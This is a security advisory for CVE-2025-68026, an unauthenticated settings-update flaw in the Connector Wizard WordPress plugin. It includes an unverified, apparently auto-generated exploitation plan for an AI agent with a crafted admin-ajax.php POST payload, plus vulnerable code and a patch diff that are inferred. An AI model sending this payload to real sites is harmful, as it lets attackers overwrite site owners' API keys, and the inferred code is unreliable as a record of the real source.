CVE-2025-68026

LC Wizard <= 2.1.1 - Missing Authorization to Unauthenticated Settings Update

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.1.2
Patched in
5d
Time to patch

Description

The Connector Wizard (formerly LC Wizard) plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.1.1. This makes it possible for unauthenticated attackers to update plugin settings.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.1
PublishedFebruary 5, 2026
Last updatedFebruary 9, 2026
Affected pluginghl-wizard

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on **CVE-2025-68026**, a missing authorization vulnerability in the **Connector Wizard (formerly LC Wizard)** plugin for WordPress. This vulnerability allows unauthenticated attackers to modify plugin settings by exploiting an AJAX handler that lacks proper capability chec…

Show full research plan

This research plan focuses on CVE-2025-68026, a missing authorization vulnerability in the Connector Wizard (formerly LC Wizard) plugin for WordPress. This vulnerability allows unauthenticated attackers to modify plugin settings by exploiting an AJAX handler that lacks proper capability checks.


1. Vulnerability Summary

  • Vulnerability: Missing Authorization (CWE-862)
  • Affected Plugin: Connector Wizard (ghl-wizard)
  • Vulnerable Version: <= 2.1.1
  • Patch Version: 2.1.2
  • Core Issue: The plugin registers an AJAX action intended for settings management but fails to implement current_user_can() checks. Furthermore, the handler is registered via wp_ajax_nopriv_, making it accessible to users who are not logged in.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • HTTP Method: POST
  • Action (Inferred): Likely ghl_save_settings, ghl_wizard_save_settings, or lc_wizard_update. (The agent must grep for wp_ajax_nopriv_ to confirm the exact string).
  • Parameters: Likely a JSON payload or a set of POST variables representing plugin settings (e.g., ghl_api_key, ghl_location_id, ghl_settings).
  • Authentication: Unauthenticated (PR:N).
  • Preconditions: The plugin must be active.

3. Code Flow Trace

  1. Entry Point: The plugin registers an AJAX handler in its initialization or constructor:
    add_action('wp_ajax_nopriv_[ACTION_NAME]', 'callback_function');
    add_action('wp_ajax_[ACTION_NAME]', 'callback_function');
  2. Dispatcher: admin-ajax.php receives a request with the action parameter matching [ACTION_NAME].
  3. Vulnerable Function: The callback_function is invoked.
  4. Authorization Failure: The function performs operations like update_option() or update_site_option() without calling current_user_can('manage_options').
  5. Sink: User-controlled input from $_POST is passed directly into the WordPress settings database.

4. Nonce Acquisition Strategy

Missing authorization vulnerabilities often include missing or weak CSRF protection. However, if a nonce is required:

  1. Identify Shortcode: Search for shortcodes used by the plugin:
    grep -rn "add_shortcode" /var/www/html/wp-content/plugins/ghl-wizard/
  2. Identify Localized Script: Look for wp_localize_script to find the JavaScript object name:
    grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/ghl-wizard/
  3. Setup Page: Create a post containing the identified shortcode:
    wp post create --post_type=page --post_status=publish --post_content='[SHORTCODE_NAME]'
  4. Extraction:
    • Navigate to the page using browser_navigate.
    • Extract the nonce via browser_eval:
      browser_eval("window.ghl_wizard_obj?.nonce") (Replace ghl_wizard_obj and nonce with actual keys found in Step 2).

Note: If check_ajax_referer is entirely absent in the callback, no nonce is needed.

5. Exploitation Strategy

Step 1: Locate the Vulnerable Handler
Search the plugin directory for the registration of unauthenticated AJAX actions:

grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/ghl-wizard/

Step 2: Analyze the Callback
Examine the callback function for:

  • Missing current_user_can checks.
  • The parameter names expected for updating settings.
  • The specific option name being updated (e.g., ghl_wizard_settings).

Step 3: Craft the Exploit Request
Assuming the action is ghl_wizard_save_settings and the settings are passed in a parameter called settings:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=ghl_wizard_save_settings&nonce=[NONCE]&settings[api_key]=EXPLOITED_KEY&settings[location_id]=EXPLOITED_ID
    

Step 4: Execute via http_request
Use the http_request tool to send the payload.

6. Test Data Setup

  1. Activate Plugin: Ensure ghl-wizard is active.
  2. Initial State: Check the current value of the plugin's settings via WP-CLI:
    wp option get ghl_wizard_settings (Replace with actual option name).

7. Expected Results

  • Response Code: 200 OK or 302 Redirect.
  • Response Body: Likely a JSON success message (e.g., {"success": true}).
  • Database Impact: The targeted WordPress option in the wp_options table is updated with the attacker-supplied value.

8. Verification Steps

After sending the exploit request, verify the change using WP-CLI:

# Check if the setting was updated to the "EXPLOITED_KEY" value
wp option get ghl_wizard_settings

9. Alternative Approaches

  • Action Overloading: If the AJAX action requires a specific "type" or "sub-action" parameter, check if it can be manipulated to reach different update_option calls.
  • REST API: Check if the plugin registers any REST API routes (register_rest_route) without a permission_callback.
    grep -r "register_rest_route" /var/www/html/wp-content/plugins/ghl-wizard/
    
  • Direct Post: If the plugin hooks into init or admin_init and checks $_POST['ghl_wizard_save'] directly, an AJAX request may not be necessary; a standard POST to the homepage might suffice.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Connector Wizard (formerly LC Wizard) plugin for WordPress is vulnerable to unauthorized settings updates due to a missing capability check in an AJAX handler registered for unauthenticated users. This allows attackers to modify sensitive plugin configurations, such as API keys or location IDs, by sending a crafted POST request to the admin-ajax.php endpoint.

Vulnerable Code

// Inferred from plugin functionality and research plan

add_action('wp_ajax_nopriv_ghl_wizard_save_settings', 'ghl_wizard_save_settings');
add_action('wp_ajax_ghl_wizard_save_settings', 'ghl_wizard_save_settings');

function ghl_wizard_save_settings() {
    // Vulnerability: Missing current_user_can('manage_options') check
    // Vulnerability: Registered via wp_ajax_nopriv_ allowing unauthenticated access
    $settings = $_POST['settings'];
    update_option('ghl_wizard_settings', $settings);
    wp_send_json_success();
}

Security Fix

--- a/ghl-wizard.php
+++ b/ghl-wizard.php
@@ -1,4 +1,7 @@
-add_action('wp_ajax_nopriv_ghl_wizard_save_settings', 'ghl_wizard_save_settings');
 add_action('wp_ajax_ghl_wizard_save_settings', 'ghl_wizard_save_settings');
 
 function ghl_wizard_save_settings() {
+    if (!current_user_can('manage_options')) {
+        wp_send_json_error('Unauthorized', 403);
+    }
+    check_ajax_referer('ghl_wizard_nonce', 'nonce');
     $settings = $_POST['settings'];

Exploit Outline

To exploit this vulnerability, an attacker sends an unauthenticated POST request to the /wp-admin/admin-ajax.php endpoint of the target WordPress site. The request must include an 'action' parameter set to the vulnerable AJAX handler (inferred as ghl_wizard_save_settings) and a 'settings' parameter containing the keys and values the attacker wishes to update in the plugin's configuration (e.g., settings[api_key]=attacker_key). Because the handler is registered via wp_ajax_nopriv_ and lacks a current_user_can() check, the server-side function will update the plugin's settings in the wp_options table without verifying the user's authorization.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.